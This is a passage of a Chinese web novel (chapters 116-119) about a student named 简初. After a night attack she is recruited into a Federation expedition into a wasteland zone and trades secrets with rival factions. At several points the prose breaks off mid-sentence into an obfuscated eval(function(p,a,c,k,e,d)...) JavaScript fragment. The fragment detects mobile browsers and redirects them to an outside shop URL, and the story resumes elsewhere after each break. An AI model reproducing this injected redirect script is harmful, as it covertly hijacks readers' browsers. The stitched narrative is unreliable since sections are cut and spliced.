话音刚落，她就看见傅燃突然忙碌地检查起终端，他甚至四丝毫不在意自己的角度完全能看见他的终端屏幕，就这么随便戳开一个对话框，又关上。 “他们找我，先走了。” 傅遥：……啧。 不想活了，但觉得该死的另有其人。 …… 另一边的医务室，随队医生刚给简初做完检查。 “多亏了你的异能能帮忙恢复，否则接下来一段时间恐怕要吃不少苦头。”医生放下简初的胳膊长舒了一口气。 刚刚见到这孩子时，对方满脸满身的血可把她吓坏了，就算只是胳膊骨裂，以现在的条件想要恢复也没那么快，而以接下来的行动节奏很难有休养的机会，现在伤势被【快速恢复】的异能解决，也算是解决了一个麻烦。 团队里的医护人员本就紧缺，很难分出精力来照顾她。 “你们就在这休息吧，今夜不安生，再回房间还要折腾一会。”医生没说的是，现在的二号楼正有一群人围在那里检查，现在这孩子要是过去，绝对会被拦住问一些问题，还不如就待在这里好好休息。 医务室的灯熄灭了大半，只留下门口的一盏还亮着。 为了防止医务室内出现什么意外，所以正常都是要留灯的，不过这光线也不算刺眼，还能让人接受。 莫景坐在隔壁床上，眉头紧皱看着简初。 “洗个澡吧，我去给你接水。”她突然开口。 简初身上沾了很多血，其实大部分都是她砍中入侵者脖子的那一刀带来的，而因为当时处于异空间，所以她和那个入侵者之间的冲突并没有被记录下来，后面赶来的作战人员的视角又正巧被挡住，所以他们并不知道发生了什么，只当她身上的血都是因为那一枪炸掉入侵者的耳朵而溅上的。 多亏了这一枪，给简初免去了不少麻烦。 虽然简初已经简单擦洗过，甚至换了病号服，肉眼看上去已经没有什么血迹，但她日渐敏锐的嗅觉还是能闻到环绕在四周的血腥味，时间长了有些令人作呕，想在这样的环境中睡着，实在是太为难她了。 黎取正百无聊赖地仰卧在最外侧的病床上，杯子压在身下方便随时起身，尽管听见那边两个小女孩叽叽喳喳，但他的任务只是确保安全，至于她们睡不睡觉，又或者是想做什么，都不在他的管理范围内。 “你等等，我马上就回来。”莫景站起身，病房里有特战中心的人，应该不会出现什么意外，“麻烦您看顾一下。” 尽管连对方的名字都不知道，但莫景还是很有礼貌地和黎取打了个招呼，男人含糊应了一声算是同意。 说实话这种工作更适合安栩那个闷葫芦来做，他可是最喜欢这种不需要开口说话的工作了。 对于热爱情报工作的人来说，无法接收到外界的最新消息是一件多么痛苦的事情啊！ “咚咚咚。” 很快，医务室的门突然被敲响，黎取小声嘀咕了一句：“怎么这么快就回来了，还把门锁上了？” 他认命地起身打开房门，原以为外头会是那个去打水的小姑娘，结果入眼却是一张笑眯眯的脸。 “哈喽，有人让我来换你的班。”林豹双说道。 黎取侧身让对方进来，回头就看见简初投过来的好奇眼神：“怎么还让你来了？” 他本以为傅燃只是顺便让他看顾一下，但这会特意让林豹双来换班反而让事情变得没那么简单了。 按照协会的行动要求，他们应该关注的是因思禾的安全问题，以及解决入侵者的麻烦，但这小姑娘是现场的亲历者，难道说外面发现了什么，最终又聚焦到她身上了吗？ 林豹双看着黎取脸上瞬间变了好几个表情，就知道对方在想什么，无语地发出了一声嘲笑：“嘿，收起你天马行空的想象力，现在、立刻、马上到二号楼去，他们都在那边研究情况呢。” 一听到这话，黎取也顾不上再想别的，道了声谢就飞快窜了出去，不过两秒又匆匆回头，从门边探出脑袋：“有个小孩给她接水去了，马上回来，你不要把人拦在外头不让进。” 林豹双直接反手关上门：“我看起来有那么蠢吗，赶紧走吧你，还小孩，有本事喊……”傅燃小孩啊！ 最后的字眼被她咽了下去，不过简初目测这两人年龄都不大，最后没说出口的大概也只是一句吐槽罢了。 不过有些人刚刚还在嘟嘟囔囔没好气，转过头就变成了知心大姐姐。 “你叫简初是吧，现在身体感觉怎么样，怎么还不休息呢？”林豹双这么说着，夹里夹气的声音让她自己都起了一身鸡皮疙瘩，她伸手摸了摸胳膊，继续维持这样的语气跟简初交流。 “没什么问题，不过感觉身上有点脏，我朋友给我接水去了。”简初窝在被子里点了点头。 “这样啊，需要姐姐帮忙的直接说哦。”林豹双笑得更开心了。 不知道为什么，简初好像觉得对方的语气变得更加黏糊糊，好像在看自己养的小猫咪，甚至感觉下一秒就要把她塞进嘴里…… 打住！ 简初强制自己停止无厘头的想象，不过好在下一秒莫景就提着水回到了病房，见到里面换了一张面孔她还有些警惕，不过在林豹双自报家门之后很明显放松了下来。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13972031|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管是面前这人，还是刚刚的年轻人，都没有告诉她们自己的姓名或是代号，怎么特战中心的保密工作已经做到这份上了？她没记错的话，傅遥的照片可是正大光明地挂在联邦机构的网页上。 不过他们看上去应该是需要执行任务的工种，注意隐蔽身份也算是能理解。 重新擦洗了一遍，简初终于安心躺回了病床上，她一左一右的床铺被另外两人各自占据，跟原本的房间比起来，医务室的床睡着确实要舒服得多，而且空间比较开阔，也没有什么难闻的气味。 应该是平时没什么人会用到这里。 “睡吧，我定过闹钟了。”莫景小声说道，医务室里有些昏暗的灯光把她的眼睛照得亮晶晶，“特战中心的姐姐也在，不会再有危险了。” 林豹双没想到这里还有自己的戏份，赶紧跟在后面“嗯”了一声作为安抚。 医务室很快恢复了安静，几乎是此刻的启明星中唯一安宁的地方。 …… “这里没有什么痕迹，可惜了。” 检查完整个二楼的情况，众人得到了一个令人失望的结果。 站点负责人安排下属把设备收好，转头看向了表情晦暗的因思禾，犹豫着开口：“因博士……现在的结果就是这样，因为袭击者使用了空间棱晶，所以战斗痕迹都随着棱晶崩散而消失了。” 站点内的监控显然也无法拍摄到异空间内的情况，现在想要知道里面究竟发生了什么，还真的只能问那个小孩。 “简初的异能没什么战斗能力，显然入侵者还没来得及对她动手，说明他们刚碰面，我们的作战人员就进入异空间了，想必从她嘴里也得不到太多有用的信息。”因思禾本来也没指望能发现什么痕迹，“你们还是再把前厅的监控看看，也许能有一些新发现。” 众人各自散开，斯塔集团的安保人员此时也并不在场，明显是米勒尔要求他们避嫌，在这样的风口浪尖给自己减少一些麻烦。 既然空间棱晶出自斯塔集团，米勒尔自然也很清楚在异空间外不会留下什么有价值的痕迹，不过此时让他头疼的是别的事。 “先生，您先把药吃了吧。”崔斯特把桌面上的小托盘往前推了推，上面放了一杯温水，以及一枚粉色的药片，“医生嘱咐的，一旦开始吃，就不能大意，每次都要按时服用。” 米勒尔自然没有用亏待自己的身体来排解压力的习惯，他伸手揉了揉额角，闭着眼捏起胶囊塞进嘴里，咕嘟咕嘟一大杯水将药顺了下去。 崔斯特很有眼力见地迅速接走杯子，顺手把托盘也撤开了。 “你倒是仔细。”米勒尔不咸不淡地说。 崔斯特微微弯下腰：“应该的。” 那可不是，如果不赶紧把这些东西从米勒尔手边那开，恐怕下一秒它们就要出现在自己的脑门上了。 米勒尔也不戳破，他靠上椅背想要晃两下，这才反应过来这不是自己办公室里的摇椅，只能烦躁地拍拍扶手，重新坐起身：“你跟我说说，这到底是怎么回事，斯塔集团的东西，怎么会到了别人手里？” 116. 无人区（18） 米勒尔并不是想从崔斯特口中得到答案，因为当初的行动报告他早已看过，甚至在这次出发之前他又拿出来重新翻阅了一遍，其中的问题崔斯特全部都详细解释过。 他只是烦躁，原以为一切都在掌握之中——他只向联研所汇报了其中一部分内容，剩下的都牢牢紧握在自己手里。 米勒尔也从来没有幻想过，他只是派出一个敢死队，就能拿到超过联研所几十年探索的成果，他真正不能接受的是，自己的那次行动埋下了巨大的隐患，甚至还被因思禾当场抓住了错处。 “她要的设备清单，该怎么列不用我教你吧？”米勒尔面色阴沉。 崔斯特赶紧回话：“我有数的，先生，不过到时候还是得请您过目。” 他偷偷看了眼米勒尔的表情，对方没有发脾气，却让他感觉更加可怕。 先不提已经公开的研究成果，那些设备里有相当一部分是斯塔研究所的机密产物，不管是出于商业目的，抑或是别的什么原因，总之是不宜被其他人了解的，而现在它们都遗落在无人区腹地，成为了“无主之物”。 一旦联研所得到了这些东西，绝对不会“大发善心”把它们交还给斯塔集团，他们花费大量人力物力研究出来的成果，将会被别人收入囊中，甚至如果其中的设备有超出联邦实验条例所限定的规格，那么斯塔集团将会迎来联邦的处罚。 “赶紧去弄吧，让我安静会儿。”米勒尔不耐烦地挥挥手，将人驱逐出去，“凯文那边去看一眼，还有伊森，没问题就让林愿也回房间休息会儿吧。” 明天还不知道会怎么样呢。 …… 防护光栅悄然熄灭，启明星站点内一派平静，丝毫看不出几个小时前里头正忙作一团。 简初是病房里第一个睁开眼的人。 医务室内依旧只亮着门口的那盏灯，她正侧对莫景的床铺，看到对方整个人都埋进被子里，只露出额头，不算厚的被子被吹得一鼓一鼓，但却没能把人从睡梦中唤醒。 “你醒了？” 简初动了动脑袋，就看见另一边林豹双正看着她，双目一片清明，丝毫没有刚睡醒的样子，简初低声应了一句，莫景立刻在被子里蠕动了几下，把头从被子里伸出来。 随队医生匆匆赶来，一番检查过后，医务室的灯终于彻底熄灭。 “因博士现在想见你，至于你……”林豹双看向莫景，“可以先去吃点东西。” 她的话语声被淹没在头顶的音乐声中，启明星渐渐苏醒，林豹双耸耸肩，没有再多言。 三人在此分开，林豹双领着简初来到会议室门前，她推开门示意简初入内，自己则后退一步关上了房门。 简初瞥见身后的大门关上，不动声色地打量着会议室内的几个人，因思禾、傅遥，以及那个不知道名字的年轻人，他听见声音抬头望过来，不过两秒又低下头，面色沉静地继续翻阅手里的报告。 至于能看进去多少，大概只有他自己知道了。 “你来了，身体感觉如何？”因思禾问道。 万能的开场白，简初已经记不清自己这段时间听过多少次了，但还是点点头：“刚检查完，没什么问题。” “那就好，瑞千。”因思禾朝助理使了一个眼神，李瑞千便从桌面上抽出一张纸，放在了简初面前。 最上方是黑沉沉的“保密协议”几个大字，里面的内容很简单，只是要求简初不要和任何人提到自己受到袭击的事情，尤其是那些还被蒙在鼓里的研究员们。 “不要紧张，当时的在场人员都会签这份协议。”傅遥开口安抚道。 简初眼神闪了闪，提笔签下自己的名字，李瑞千立刻上前将其抽走。 看来因思禾并不想让这件事扰乱军心，作战人员经验丰富，对这些意外情况早有准备，但研究员们平日里的生活风平浪静，几乎没有直面生死的机会，此时的探索计划勉强才算开了个头，这样的意外肯定会带来不好的影响。 “我记得，你和莫景是程源那个精神力项目的被实验人员吧？”虽然是疑问句，但显然因思禾并不需要得到回答，甚至她的用词都十分直白，并没有用项目成员之类的词来粉饰，说明她至少是了解过情况的。 傅燃再次抬起头看了简初一眼，这次的表情明显没有那么平静，不过并没有人注意到他。 简初垂下眼掩去眼底的情绪，继续听对方的话。 “我代表联研所向你提出邀请，希望你能加入本次无人区探索计划，我是说，站到我们的队伍里来。”因思禾露出一个胜券在握的微笑，整个星际联邦应该没有人会拒绝联研所的橄榄枝，“你可以拿到联研所的工作岗位，在毕业后直接加入我的实验室。” 如果简初真的是一个土生土长的联邦居民、普通的军校学生，此时只会觉得天大的馅饼掉在了自己的头上，忙不迭接下这个邀约。 但可惜，她不是。 对于这种看上去是无本买卖的邀请，简初实在是敬谢不敏，加上这次的行动显然不会如计划中顺利，现在她并没有展示出什么特别的能力，显然无法匹配这样巨大的利益。 风险与收益往往是对等的，也就是说更多的风险隐藏在暗处。 简初刚要开口拒绝，却突然似有所感地闭上了嘴。 这种时刻，总感觉有什么东西会跳出来，让她接受对方的提议……简初沉默两秒，却没有等来系统的经典“噔噔噔”音效。 系统也转性了？ “你怎么想的呢？”见她迟迟没有反应，因思禾再次开口询问，“有任何顾虑都可以提出来，正好特战中心的两位也在，能够给你解答一些疑问。” 这几乎就是摆明了，让简初去问那场袭击究竟是怎么回事。 简初的眼神落在傅遥身上，对方正勾着唇角看着自己，就算眼神对上也没有闪躲的意思，但那个年轻人却一直低着头，看上去不是很想搭理她。 感受到有视线落在自己身上，傅燃握着材料的手指紧了紧，把纸张捏得皱巴巴的，直到身边的傅遥咳嗽了一声，才反应过来放松了手指。 “我可以拒绝吗？”简初说。 既然系统没有出来打岔，那是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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空间棱晶是空间系异能者将异空间压缩形成的，稳定性很强，不被使用的情况下可以保存数年，但一旦使用，持续时间在十分钟至半小时不等，这取决于异能者的能力水平。这期间，一旦棱晶遭到破坏，异空间将提前崩散。最重要的是，使用者可以指定能够进入异空间的生物体。 作为联邦第一军校的学生，这种并不算是很高深的知识，简初点头作为回应。 “他选择了你，而异空间内没有第三个人存在。”因思禾说，“至少目前看来是这样。” 最后一句话不过是可有可无的托底。 “我看过你的履历，很明显你和无人区并没有什么交集，我认为唯一会产生变数的，就是你的精神力。”因思禾看上去对她自己的猜测十分有信心。 “为什么程源会突然邀请你参与项目，为什么那人把你拉进了异空间却没有杀死你，那个项目的目的究竟如何……这几个问题，你能给我答案吗？” 看见简初神情凝重地望过来，因思禾脸上重新出现胸有成竹的微笑。 “你不能，但是我可以。” 117. 无人区（19） 其实因思禾的话里存在明显的问题，就比如在异空间时，那人明显是想要杀了简初的，最后失败不过是因为错估了她的实力，但简初并没有必要指出这一点。 “这些问题的答案，我可以比你更轻易拿到，而在此之前，你得保证能活到那个时候。”因思禾伸手指了指旁边的人，“有他们在，你会更加安全，但前提是你得是我们的人，普通的研究员或者是军校学生，只能得到其他普通作战人员的保护，那显然无法满足你的需要。” “他还会再来找你的，你很危险。” 因思禾的话里不乏一些有意掺杂的危言耸听，但也有一部分歪打正着，戳中了简初的境况。 那人确实还会再来找她，从对方离开前的眼神，不，也许从两人第一下交手简初就知道了。 尽管她想不通，但事实就是如此，对方的杀意来得扑朔迷离，有他们的保护，自己确实会更加安全，但对应的就是她的行动肯定没那么自由。 不过在这个团队里，本就不可能让她肆意妄为，这么看来，同意因思禾的提议确实是一本万利。 简初突然后知后觉，这一次系统之所以没有冒出来，莫非就是知道她最终会同意因思禾的提议？ “所以，你是什么想法？” 因思禾的询问将简初从思绪中拉回到现实，她沉默地凝视面前的几人，最终缓缓点了点头：“我明白了，但莫景……” “不可能。”还没等她说完，因思禾就斩钉截铁地打断，“我们之所以会额外分出力量保护你，最主要是因为袭击者的问题，而不是那个精神力项目，程源再怎么折腾也很难翻出浪来，之所以特地提到这件事，不过是为了让你意识到你的处境。” 大概是不想把话说得太狠，毕竟像简初这个年纪的小孩不少都有于叛逆期，要是不留情面导致她赌气拒绝，反倒不妙了。 “你放心好了，比起你，莫景的处境要安全得多。”因思禾说。 难怪刚刚因思禾可以轻易提及这个项目，在对方的眼中，这不过是让她点头的一个小筹码罢了。对方也许发现程源在做一些超出项目权限的东西，但并没有意识到其中的危险性。 啧，连伊森·斯塔都不如。 因思禾以为自己已经说得很明白，却没想到面前人突然露出一个意味深长的笑容，仿佛她身体内的灵魂不再是那个尚未离开象牙塔的学生，明明自己才是引导话题的人，但却有一种心事被人看破的不安。 简初突然收起笑容：“那如果，他违背了联邦实验条例呢？” 此言一出，会议室为之一静。 “说话要有证据的。”傅遥抢先开口，她的语气严厉，远比因思禾更有威慑力。 “你们果然不知道。”简初却没有露出傅遥设想中的慌乱，“不过我能理解，毕竟这种事他肯定得好好藏着，何况就算是项目组的成员，也未必知道他们究竟在做什么。” 这不慌不乱的哑谜，倒是让因思禾有些心浮气躁。 她早就发现程源上报的项目材料有问题，但审核组一致认为程源只是在原本的项目基础上额外进行了一些不在权限内的外拓，这种事情本来就没有明确的规定来约束，甚至适当的超限研究反而会带来意想不到的新发现，所以一直以来，联研所审核组对这种现象都是睁只眼闭只眼。 但如果简初不是无的放矢，那性质就完全不同了。 “你发现了什么？”因思禾问，除此以外，她想不到有什么原因会让简初说出这番话。 “现在我们可以谈谈莫景的问题了？”简初并没有回答她，反而露出一个纯良的微笑。 因思禾也不是吃素的，她很快抓到了新的重点：“我很好奇，你应该加入项目组不久，怎么连项目组成员都不知道的内幕，偏偏就被你这个新加入的学生发现了呢？” “也许是运气好？”简初并不如她所愿进行解释，而是随口抛出一个听上去就很敷衍的理由，“过程并不重要，反正它并不会影响结果，我也并没有打算借此来威胁你，我只是觉得，也许莫景对你们来说会很重要，毕竟我至今还没有接受过实验，而她……” “我给莫景做过精神疏导，在她的精神空间发现了未知的……生命体？”简初耸耸肩，“这么说可能不太准确，总之那东西有意识，并且很抗拒我的接近，而在我把它处理掉之后，莫景的实验数据就出现了问题，这就是现在实验暂停的原因。” 短时间内，“有意识”这个形容词在因思禾面前出现了太多次，而且这个说法实在是太过匪夷所思，她不得不怀疑简初话语的真实性。 “被你处理掉了？怎么处理的，你应该并没有精神疏导的执业资格？”因思禾质问道，但她很快反应过来，简初这个专业在学校内部进行精神疏导并不违规。 “这我就不太清楚了，毕竟我也不是专业的。”简初看上去只是在陈述事实，不过话里话外听起来又像在阴阳怪气。 会议室陷入短暂的寂静，不过简初也不着急，只是看着因思禾和傅遥两人不断用眼神在交流，她的视线自然而然落在了旁边仿佛被隔离在外的年轻人身上，对方感受到她的视线也抬起眼，两人的视线刚好对上，他盯着她的眼睛看了两秒，随后有些匆忙地挪开了视线。 傅燃面上不动声色，内心已经被“她会不会发现我了”疯狂刷屏，但甚至他自己也分不出，自己究竟是希望被认出来，还是不希望。 他重新撩起眼皮看向简初，有些失望地看到对方已经挪开视线。 应该是……没认出他。 “我知道了，莫景的安全我们会安排好，那你……”因思禾的话语声打断了傅燃的思路。 “多谢因博士，我加入。”简初笑眯眯，“如果有需要我做的事情，请尽管安排。” 简初软化的态度让因思禾放松了些许，她的眼神从对方的手腕上掠过，眼神一动转头朝傅燃说道：“她就麻烦你来安排了，包括终端通信之类的权限也都加上。” “今天午饭过后，我们就要集结出发了，一部分研究员会留在启明星，其他人都要一起走，你暂时还按照正常的安排行动，不过尽量跟他们待在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅燃愣了愣，刚想开口说些什么，就听见对方继续说：“我不知道该去哪里，你不带路吗？” 两人之间似乎有清冷的风卷过去，傅燃尴尬地咳嗽了一声，向前一步领先了简初半个身位。 “我该怎么称呼你？”简初问道。 感受到视线落在自己侧脸，傅燃下意识握了握拳：“我……叫我灰烬就好。” 简初挑挑眉，这名字明显是个代号，不过她对真名什么的也不太感兴趣就是了。 两人沉默着来到楼上，推开门简初就见到一张还算熟悉的面孔，傅燃伸手指了指她：“帮她把联研所的权限加一下，另外……不，没什么。” 最后一句实在是突兀，黎取和简初都用奇怪的眼神看了他一眼，前者是对他罕见的犹豫感到奇怪，而后者则是好奇他原本是想说些什么。 “我在这里影响到你们交流了吗？”简初看过来。 傅燃摇摇头：“没有，他们在哪？” 后面那句是对黎取说的，黎取当然知道他问的是谁：“他们在参加作战人员的会议，目前应该在研讨下一步的安保计划，毕竟夜里的那场袭击完全是在计划之外，搞得他们紧张得很。” 他也挺紧张的。傅燃心想。 118. 无人区（20） 简单吃过午饭，简初便和莫景一起来到前厅集合，特战中心的人见到她们没有露出什么意外的表情，不过漠不关心的样子多少有几分刻意。 “你们怎么来了？”程源从楼梯上走下来，环顾一周后皱着眉头询问道。 没等简初回答，因思禾就出现在了程源身后：“我让她们来的，年轻人不能总是躲在温室里，总得出去见见风雨。” 她不着痕迹使了个眼色，简初心领神会地闭上了嘴。 “不用担心，我们人手充足，保护两个小孩还是绰绰有余的。”因思禾笑着安抚道。 程源只能尴尬点头：“您说的是，我就是担心她们添乱，毕竟没接触过这些。” “哎，总会有第一次的，这种锻炼的机会可是很少的。”因思禾用同样冠冕堂皇的话回敬，程源只能无奈应下，心里盘算着找个机会再告诫她们一番。 这次随队出发的研究员都是从斯塔研究所以及程源项目组里抽的精英，剩下的人暂时留在启明星待命，等第一阶段的探索完成，他们将携带补给，跟随无人区的工作人员，沿着正常的交接班路线前往。 凌晨的意外让大家有些心惊胆战，就算多数人并不了解实情，但有一个工作人员因此丧命是实打实的，不少人原本还有些嘻嘻哈哈，事到如今也严肃了起来。 为了让剩下的人安心，因思禾留了几名作战人员一同待命，否则谁都不愿意这次被留下。 两辆炫酷的武装越野已经等在门口，今天他们的目的地是N11站点。 除了具有特殊意义的启明星，其余站点均是使用编号命名，而“启明星-N03-N11”这条路线是前往无人区腹地最近的一条路线。 越野车里甚至比来时还要拥挤，再加上白天的无人区气温很高，如果不是隔着衣服，恐怕靠着车厢的皮肤都能被燎出泡来。 如简初所想，队伍在N03进行了短暂补给，大家挤在站点里猛吸了几口凉气，才不情不愿地重新回到车厢，最终在晚上八点之前抵达了N11站点。 由于地理位置的缘故，N11受到无人区深处辐射影响的时间要比启明星要早上几分钟，大部分时候这并不会影响什么。 与之前的站点不同，从这里开始，越往里的站点工作人员越少，不知道是因为条件过于艰苦，还是因为越往里需要越优秀的人才，总之N11站点只有三名工作人员。 “因博士您来了，这边条件比较简陋……”他们平时不太跟人接触，所以此刻显得有些拘谨。 “没有的事，是我们添麻烦了，你们忙你们的，不用管我们。”因思禾看上去也十分疲惫，但一路的顺利还是让她轻松了些许。 简单交流后，众人各自回到房间暂时歇息，简初、莫景、林豹双三人在同一扇门前面面相觑。 “所以，这是爆改三人间了？”简初推开房门，里面摆放的家具水灵灵地跟她打了个招呼——一张上下铺，一张上床下桌，剩下只剩一条窄窄的走道。 谢天谢地，他们还保留了一张桌子。 “走廊尽头有公共洗浴间，趁现在大家都没反应过来，你们赶紧去。”林豹双并没有自我介绍的意思，她甚至连背包都没带，这么抻着脑袋看了眼房间，扭头就打算离开，“我得先去开会，回见。” N11的建筑构造和启明星不太一样，最让人惊喜的，是它在房间最上方留了一个狭窄的呼吸窗。 显然这栋建筑里并没有空气循环系统，开窗也是不得已而为之，但在这样的环境里也堪称是“心灵的窗户”了，给了居住其中的人相当的心理安慰。 防护光栅的彩色光晕从窗户投进来，照在对面的墙上，颇有几分意趣。 从N11站点开始，就进入异种的活动范围了，所以这里工作的三名工作人员中有一名异能者，但因为不是核心区域，所以就算偶然有异种游荡过来，也不会是什么棘手的角色。 “今天应该不会再发生什么了吧？”莫景小声问道。 也许…… 简初这样想着，可她还没来得及开口，手腕上的终端就响了起来。 “有点小事，我出去一趟。”简初说道，迅速套上外套离开了房间，门“嘎达”一声合上，只留下莫景有些出神地看着墙壁上晃动的光波。 …… 简初放慢脚步拐过三楼的楼梯，直到看清走廊的情形，才调整好表情走了过去：“有什么事吗？” 走廊中的人猛然回头，看见简初后匆忙上前两步，却又突然停住。 伊森·斯塔的脸此刻堪称调色盘，简初甚至能同时在他脸上看到两种完全相悖的情绪，惹得她好奇地歪了歪脑袋：“这是怎么了？” “你还问我怎么了？”伊森脸上露出微笑，不过怎么看都带着些咬牙切齿，“你为什么会跟到这儿？” 原先拟定的计划中，先行队伍并没有她和莫景的名字。 “我跟项目组成员一起，有问题吗？”简初无辜道。 “我得提醒你，我们现在是合作关系。”伊森的表情不算好看。 这人明知道他的意思，还在这儿搅混水，明明那群研究员都没有全部跟过来，何况她是当他听不见程源和因思禾在启明星前厅的对话吗？ 简初看了他一眼，伊森开口的第一句竟然是问她为什么在这里，难道他并不清楚那场意外袭击的情况？ 她突然一步上前逼近伊森，伸手放在唇边示意他声音别那么大：“嘘，我当然记得，别用你们商人的那套以己度人。” “你也知道，在这里我的行动远远不如你方便，所以我一直在等你的联系。”简初耸耸肩，表情十分诚恳，“至于我加入先行队，这是因思禾的决定，我没办法拒绝，但是……” “她知道程源在做什么？不可能！”简初话中的指向性太过明确，让伊森下意识打断了她。 对于简初所谓的“等他的联系”，伊森只有三分信任，但她提供的信息转移了他的注意力，同时也让他暂时放下了怀疑，但他斩钉截铁的“不可能”却引起了简初的兴趣。 “不可能？你为什么会觉得不可能？程源不可能不上报项目情况，甚至也许这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这次无人区计划是斯塔集团提出的，米勒尔大概对什么东西有了兴趣，便和联研所合作制定了这次的计划。斯塔集团承担了本次行动的七成开支，否则以联研所每年严苛的经费控制，那点钱只够我们在N11周围逛一逛。”伊森扯扯嘴角，“他现在对那个袭击者很感兴趣，你自然而然就跟着进入了他的视线，在接下来一段时间内，他暗地里会安排人保护你，所以你暂时会很安全。” “尽管你也跟我玩了不少心眼子，但我必须要警告你，一旦他弄明白究竟是什么让你成为袭击者的目标，你离……就不远了。” 他的手横在脖子上做了一个干净利落的动作。 “我建议你不要和因思禾走得太近，这反而会让米勒尔对你更好奇，如果……” “嘘，有人来了。”简初突然向前倾身，用气音阻止了对方继续开口，“聊点别的。” 伊森眼睛骤然睁大，有些狼狈地向后退了半步：“什……” “抱歉，虽然我知道你很想加入院长的项目组，但是你来找我也是没有用的。”简初的声音突然变大，表情也变得十分为难，“项目的情况我肯定不能告诉你的……” 与她的声音一同响起的，是楼梯口传来的脚步声。 119. 无人区（21） 简初的随地大小演把伊森打了个措手不及，他大脑一片空白，接收到简初快要眼角抽筋的眼神示意，才反应过来，有些磕磕巴巴地开口：“我……我不是那个意思，就是……” “你们在做什么？” 这声音真熟悉，简初想，自从来了无人区，她好像经常被人抓包。 大少爷默默闭上嘴，扭头看向来人，却发现对方一个眼神都没给他，哪怕问的是“你们”，眼睛却只看着简初。 “我们只是随便聊聊。”简初那副被抓包的表情浑然天成，让伊森不禁怀疑她以前是不是经常做这种事。 来人的表情变得有些微妙的不乐，他抿抿唇，冷淡地看向了伊森：“这里没有斯塔集团的安保人员，为了安全起见还请不要乱跑。” 言下之意，回你该待的地方去。 这话颇有几分不留情面，伊森眯了眯眼似乎想呛声，就被人推了一把后背，下意识往前走了两步。 伊森·斯塔：？？？ “他这就走了。”简初招财猫式挥手，“学长，下次有这种问题还是麻烦您直接找程院长哦。” 最后还不忘给他挖坑，伊森咬牙露出一个和蔼可亲的微笑：“多谢学妹提醒，我下次会注意的。” 两人站在原地，沉默地看着伊森维持着最后的风度离开现场，两秒后不约而同对视了一眼。 简初&傅燃：…… “如果没什么事我就先回房间了。”简初伸手指了指楼梯口，见对方没有反应，便试探着迈开步子。 下一秒，身后的人就跟了上来：“我送你回去。” 沉默着回到房间门口，傅燃垂着头看着面前看着有些没心没肺的人，眉眼间不禁露出一点担忧，如果秦理也在这，他就不用操这么多心了。 “别和他走太近。”见简初疑惑地看过来，傅燃重新换了个说法，“别和斯塔家的人走太近，他们……很危险。” “啊？哦……”简初皱眉点头，目送着他离去。 真有意思，伊森让她不要跟因思禾走得太近，而“灰烬”作为特战中心的人却让她和斯塔家保持距离，看来两边是真的有什么龃龉，啊不，中间还要再加上一个程源。 这令人头大的三角关系。 另一边，傅燃走过拐角，抬手摸了摸耳廓，下一秒就听见黎取的声音：“监控里没有声音，看来是伊森·斯塔带了干扰设备，他们还是一如既往的谨慎。” “我知道了。”傅燃从胸腔呼出一口气，才关闭了联络器。 他并没有天真地认为自己听到的那两句话就是他们交谈的话题，但这两个人的关系突然升温，还是让人忍不住警觉。 伊森·斯塔最好别在他眼皮子底下搞什么幺蛾子，否则…… 刚回到房间的大少爷突然打了个喷嚏，顶着满头问号又加了一件外套。 …… 一夜无梦。 N11站点的食物只能算是果腹，并不能给人带来快乐，但是在无人区能有口饱饭吃已经不错了。 “今天要去哪？”简初裹紧了自己的防风外套，朝自己身边的人问道，她左边是林豹双，右边是莫景，三人正整齐地蹲在N11站点门口，看着李瑞千清点人员。 这会天还没亮，防护光栅刚刚撤下，空气中似乎带着冷硬的冰碴，让人呼吸不畅。 林豹双把手放在面前哈了口气，又相互搓了搓：“计划是去N62站点，就是最深处的那个。” 简初低头查看终端里的简略地图，拉了半天才看到孤零零挂在远处的一个小绿点：“这个距离，最后一站补给是在N58？感觉我们带的物资坚持不了几天。” “五天。”莫景突然开口，见另外两人的目光都投向她，又继续开口：“如果在N58补足资源，那么剩下的资源足够我们坚持五天。” 也就是说五天之后，后方就有人送资源来，猜的不错大概率是留在启明星的那批人来。 “到时候启明星的人来？”简初问。 林豹双点点头：“到时候会让他们带着物资过来，N50到N60区域内异种比较活跃，我们会派几个人去接应。” 研究所在每次推进探索范围时，会拟定十个待选择的站点坐标，最终在这一批坐标中，会有1到2个被选中，建造成为真正的站点，而N50到N60的区间范围内，其实只有N53和N58两个站点。 两人随意闲聊着，集合哨就响了。 N11到N58这段路程距离很长，如果他们想要在今日抵达，只能马不停蹄地一路开过去。 越野车的外壳上多了一些热武器，应该是为了防备随机出没的异种，车厢内部的显示屏也打开了，虽然画面只有小小一块，但对于车厢内的作战人员来说，能够让他们第一时间发现周围环境的异常。 对于其他人来说，也能排解一下旅途中的无聊。 车辆轰隆隆驶离N11，后方两个工作人员的身影在沙砾中渐渐变小消失。 …… 